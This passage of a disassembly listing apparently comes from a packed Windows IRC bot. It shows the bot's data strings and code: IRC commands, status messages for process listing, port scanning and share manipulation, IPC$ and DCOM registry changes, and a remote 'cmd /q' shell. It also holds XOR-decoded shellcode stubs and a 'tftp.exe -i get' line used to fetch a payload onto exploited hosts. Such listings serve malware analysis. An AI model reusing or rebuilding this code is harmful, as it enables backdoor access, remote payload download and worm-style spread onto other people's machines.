a302		db '302',0              ; DATA XREF: sub_40EE51+22Ao
; char a005[]
a005		db '005',0              ; DATA XREF: sub_40EE51+215o
; char a001[]
a001		db '001',0              ; DATA XREF: sub_40EE51+200o
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+1E4o
					; sub_40EE51+3B4o ...
		align 4
; char aPongS[]
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE51+1C3o
		align 10h
; char aPing[]
aPing		db 'PING',0             ; DATA XREF: sub_40EE51+1A9o
		align 4
; char asc_437788[]
asc_437788:				; DATA XREF: sub_40EE51+19Ao
					; sub_40EE51+6111o
		unicode	0, <!>,0
; char asc_43778C[]
asc_43778C	db ' :',0               ; DATA XREF: sub_40EE51+86o
					; sub_40EE51:loc_40F9E9o
		align 10h
; char aSD_0[]
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_415179+120o
		align 4
; char unk_43779C
unk_43779C	db    2			; DATA XREF: sub_41532A:loc_4153B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_4377D4	db    2			; DATA XREF: sub_41532A+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
; char unk_43780C
unk_43780C	db    2			; DATA XREF: sub_41532A+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 10h
; char dword_437840[]
dword_437840	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41546F+1E9o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
; char dword_437878[]
dword_437878	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41546F+1C2o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 4
; char dword_4378B4[]
dword_4378B4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41546F+1A2o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_41546F+172o
		align 10h
; char dword_437900[]
dword_437900	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41546F+E1o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
; char dword_43793C[]
dword_43793C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415674:loc_4156B9o
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
; char dword_437974[]
dword_437974	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156CE+1Bo
		dd 2029671Fh, 2BBBB02h
aLoginRejectedR	db '  Login rejected, Remote user: <%s@%s>.',0
; char dword_4379B8
dword_4379B8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156FD+219o
		dd 2029671Fh, 2BBBB02h
aErrorServerF_0	db '  Error: server failed, returned: <%d>.',0
; char dword_4379FC[]
dword_4379FC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156FD+1FBo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_31	db '  Failed to start client thread, error: <%d>.',0
		align 4
; char dword_437A48
dword_437A48	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156FD+177o
		dd 2029671Fh, 2BBBB02h
aClientConnec_2	db '  Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_437A9C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156FD+106o
		dd 2029671Fh, 2BBBB02h
aReadyAndWaitin	db '  Ready and waiting for incoming connections.',0
		align 4
; char dword_437AE8[]
dword_437AE8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156FD+70o
		dd 2029671Fh, 2BBBB02h
aFailedToInstal	db '  Failed to install control-C handler, error: <%d>.',0
; char dword_437B38[]
dword_437B38	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156FD+3Do
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst		db 'const',0
		align 10h
		dd 0
dword_437B84	dd 1			; DATA XREF: sub_415CF0+7o
off_437B88	dd offset sub_415985	; DATA XREF: sub_415CF0+49r
aLetter		db 'letter',0
		align 8
		dd 2, 4159E3h, 706D6F63h, 2 dup(0)
		dd 3, 415A30h, 6E756F63h, 797274h, 0
		dd 4, 415ACEh, 736Fh, 2	dup(0)
		dd 5, 415B43h
; char aSI[]
aSI		db '%s%i',0             ; DATA XREF: sub_415985+40o
					; UPX0:00415AAFo ...
		align 4
byte_437BE4	db 50h			; DATA XREF: UPX0:00415A52o
					; UPX0:00415A5Fr
		db 43h,	2 dup(0)
dword_437BE8	dd 7C7325h		; DATA XREF: UPX0:00415AFDo
					; sub_415CF0+39o
dword_437BEC	dd 5D73255Bh, 7Ch	; DATA XREF: UPX0:00415C07o
dword_437BF4	dd 334B32h		; DATA XREF: UPX0:00415BF7o
; char aDS[]
aDS		db '[%d]%s',0           ; DATA XREF: sub_415C4D+3Ao
		align 10h
; char aM[]
aM		db '[M]',0              ; DATA XREF: sub_415C4D+2Co
					; sub_415C4D+57o
; char unk_437C04
unk_437C04	db    2			; DATA XREF: sub_415D59+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
; char unk_437C3C
unk_437C3C	db    2			; DATA XREF: sub_415E26+41o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_437C78	dd offset dword_437CB0	; DATA XREF: sub_415F77+1B3o
					; sub_41629B+17Ao
		align 10h
		dd offset dword_437CA8
		align 8
off_437C88	dd offset dword_437CA4	; DATA XREF: sub_41629B+1E3o
		dd offset dword_437CA0
		dd offset dword_437C9C
		dd offset dword_437C98
dword_437C98	dd 5C3A44h		; DATA XREF: sub_415F77+217o
					; UPX0:00437C94o
dword_437C9C	dd 2444h		; DATA XREF: UPX0:00437C90o
dword_437CA0	dd 5C3A43h		; DATA XREF: UPX0:00437C8Co
dword_437CA4	dd 2443h		; DATA XREF: UPX0:off_437C88o
dword_437CA8	dd 494D4441h, 244Eh	; DATA XREF: UPX0:00437C80o
dword_437CB0	dd 24435049h, 0		; DATA XREF: UPX0:off_437C78o
; char unk_437CB8
unk_437CB8	db    2			; DATA XREF: sub_415F77+2E5o
					; sub_41629B+2D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
; char unk_437CF8
unk_437CF8	db    2			; DATA XREF: sub_415F77+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
; char unk_437D30
unk_437D30	db    2			; DATA XREF: sub_415F77:loc_4161D9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_437D6C	db    2			; DATA XREF: sub_415F77+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
; char unk_437DA0
unk_437DA0	db    2			; DATA XREF: sub_415F77:loc_416146o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_437DDC	db    2			; DATA XREF: sub_415F77+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
; char unk_437E10
unk_437E10	db    2			; DATA XREF: sub_415F77:loc_4160A9o
					; sub_41629B:loc_4163C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_437E50	db    2			; DATA XREF: sub_415F77:loc_4160A2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
; char unk_437E9C
unk_437E9C	db    2			; DATA XREF: sub_415F77:loc_416084o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 10h
unk_437EE0	db    2			; DATA XREF: sub_415F77+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F77+EDo
					; sub_41629B+EDo
		align 10h
; char unk_437F40
unk_437F40	db    2			; DATA XREF: sub_415F77+91o
					; sub_41629B+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 10h
; char dword_437F80
dword_437F80	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F77:loc_415FE4o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_437FAC	db    2			; DATA XREF: sub_415F77+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F77+54o
					; sub_41629B+54o
		align 4
word_437FEC	dw 4Eh			; DATA XREF: sub_415F77+38r
		align 10h
; char unk_437FF0
unk_437FF0	db    2			; DATA XREF: sub_41629B+2C0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
; char aC_1[]
aC_1		db '%c:\',0             ; DATA XREF: sub_41629B+22Ao
		align 4
; char aC_0[]
aC_0		db '%c$',0              ; DATA XREF: sub_41629B+219o
; char unk_438030
unk_438030	db    2			; DATA XREF: sub_41629B:loc_41643Ao
					; sub_41629B:loc_416508o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_438068	db    2			; DATA XREF: sub_41629B+198o
					; sub_41629B+266o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_438098	db    2			; DATA XREF: sub_41629B:loc_4163C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
; char unk_4380E4
unk_4380E4	db    2			; DATA XREF: sub_41629B:loc_4163A4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_438128	db    2			; DATA XREF: sub_41629B+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
; char dword_438174
dword_438174	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_41629B:loc_416308o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4381A0	db    2			; DATA XREF: sub_41629B+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4381D4	dw 59h			; DATA XREF: sub_41629B+38r
		align 4
; char dword_4381D8[]
dword_4381D8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165B2+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
; char dword_43821C[]
dword_43821C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165B2+59o
					; sub_4165B2+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_438274	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416703+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
; char dword_4382AC[]
dword_4382AC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416703+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_4382FC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416703+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
; char dword_43834C[]
dword_43834C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4167FC+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4167FC+8Co
		align 4
; char dword_438398[]
dword_438398	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168D5+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4


loc_4383E4:				; DATA XREF: sub_416C41+C4o
		jmp	short loc_4383E8
; ---------------------------------------------------------------------------


loc_4383E6:				; CODE XREF: UPX0:loc_4383E8p
		jmp	short loc_4383ED
; ---------------------------------------------------------------------------


loc_4383E8:				; CODE XREF: UPX0:loc_4383E4j
		call	loc_4383E6


loc_4383ED:				; CODE XREF: UPX0:loc_4383E6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_4383F2	dw 0FFFFh		; DATA XREF: sub_416C41+CCw
		db 80h,	73h, 0Eh
byte_4383F7	db 0FFh			; DATA XREF: sub_416C41+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4383FC:				; DATA XREF: sub_416C41+A2o
		jmp	short loc_438400
; ---------------------------------------------------------------------------


loc_4383FE:				; CODE XREF: UPX0:loc_438400p
		jmp	short loc_438405
; ---------------------------------------------------------------------------


loc_438400:				; CODE XREF: UPX0:loc_4383FCj
		call	loc_4383FE


loc_438405:				; CODE XREF: UPX0:loc_4383FEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_438409	db 0FFh			; DATA XREF: sub_416C41+AAw
		dw 7380h
		db 0Ch
byte_43840D	db 0FFh			; DATA XREF: sub_416C41+B0w
		dw 0E243h
		dd 0F9h
dword_438414	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ACA+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_438478	dd 12h			; DATA XREF: sub_416ACA+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ACA+79o
aJ		db 'j',0
		db 0E8h
dword_438491	dd 17h			; DATA XREF: sub_416ACA+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_438498
		retn
; ---------------------------------------------------------------------------
byte_438498	db 0E8h			; CODE XREF: UPX0:00438495j
dword_438499	dd 1			; DATA XREF: sub_416ACA+45w
byte_43849D	db 0, 6Ah, 0		; DATA XREF: sub_416ACA+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4384A7	dd 0FFFFFFEDh		; DATA XREF: sub_416ACA+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; RtlGetLastWin32Error
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_416E05+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FD6+51o
; char aSSStopped_DThr[]
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FD6+35o
dword_438528	dd 6793h		; DATA XREF: sub_4172EE+4w _randr ...
		align 10h
dword_438530	dd 173Fh		; DATA XREF: _floor+Dr
		dd 9875h, 9873h
off_43853C	dd offset __fpmath	; DATA XREF: __cinitr
		dd offset nullsub_2
		dd offset nullsub_2
dword_438548	dd 1B3Fh		; DATA XREF: _ceil+Dr
dword_43854C	dd 19930520h, 4	dup(0)	; DATA XREF: __NLG_Notify1+2o
					; __NLG_Notify+2o
off_438560	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_438564	dd 2			; DATA XREF: __FF_MSGBANNER+Er
					; __NMSG_WRITE+46r ...
off_438568	dd offset aNull_2	; DATA XREF: __output:loc_419F8Cr
					; __output+457r
					; "(null)"
off_43856C	dd offset aNull		; DATA XREF: __output+259r
					; "(null)"
off_438570	dd offset __wctype+2	; DATA XREF: _atol+23r
					; _atol:loc_4177E5r ...
off_438574	dd offset __wctype+2	; DATA XREF: _iswctype+18r
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: _x_ismbbtype+18r
					; UPX0:off_438570o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes	dd 1			; DATA XREF: _atol:loc_41778Cr
					; _atol:loc_4177D0r ...
byte_438780	db 2Eh			; DATA XREF: __forcdecpt:loc_41BE34r
					; __cropzeros+4r ...
		align 4
		dd 1, 10h
dword_43878C	dd 3F8h			; DATA XREF: __heap_alloc+5r
					; _realloc+4Dr	...
dword_438790	dd 14h			; DATA XREF: __get_fname+2o
off_438794	dd offset aExp		; DATA XREF: __get_fname:loc_41BB5Ar
					; "exp"
		dd 1Dh,	4237D4h, 1Ah, 4237D0h, 1Bh, 4237C8h, 1Fh, 4237C0h
		dd 13h,	4237B8h, 21h, 4237B0h, 0Eh, 4237A8h, 0Dh, 4237A0h
		dd 0Fh,	423798h, 10h, 423790h, 5, 423788h, 1Eh,	423784h
		dd 12h,	423780h, 20h, 42377Ch, 0Ch, 423774h, 0Bh, 42376Ch
		dd 15h,	423764h, 1Ch, 42375Ch, 19h, 423754h, 11h, 42374Ch
		dd 18h,	423744h, 16h, 42373Ch, 17h, 423734h, 22h, 423730h
		dd 23h,	42372Ch, 24h, 423728h
dbl_438868	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+B7r
					; __handle_exc:loc_41B95Fr ...
		dd 0
		dd 0FFF80000h
dbl_438878	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+92r
					; __handle_exc:loc_41B937r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_438890	dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr
					; __set_statfp+1Fr
		align 4
tbyte_43889C	dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r
		align 4
off_4388A8	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+Fw
					; __output+3AAr
off_4388AC	dd offset __cropzeros	; DATA XREF: __cfltcvt_init+5w
					; __output+3E2r
off_4388B0	dd offset __fassign	; DATA XREF: __cfltcvt_init+14w
					; __input+430r
off_4388B4	dd offset __forcdecpt	; DATA XREF: __cfltcvt_init+1Ew
					; __output+3CBr
off_4388B8	dd offset __positive	; DATA XREF: __cfltcvt_init+28w
off_4388BC	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+32w
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 10h
		dd offset sub_41CA7C
off_4388D4	dd offset sub_41CA7C	; DATA XREF: sub_41CAD2+29r
dword_4388D8	dd 0D2D0920h, 5Dh	; DATA XREF: __input:loc_41D246o
dword_4388E0	dd 5Dh,	0		; DATA XREF: __input:loc_41D136o
byte_4388E8	db 1			; DATA XREF: __setmbcp+E1r
		db 2, 4, 8
		align 10h
dword_4388F0	dd 3A4h			; DATA XREF: __setmbcp+2Fo
		dd 82798260h, 21h, 0	; DATA XREF: __setmbcp+11Dr
dword_438900	dd 0DFA6h		; DATA XREF: __setmbcp+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4389E0	dd 1			; DATA XREF: __setmbcp+3Co
					; __dosmaperr+Co
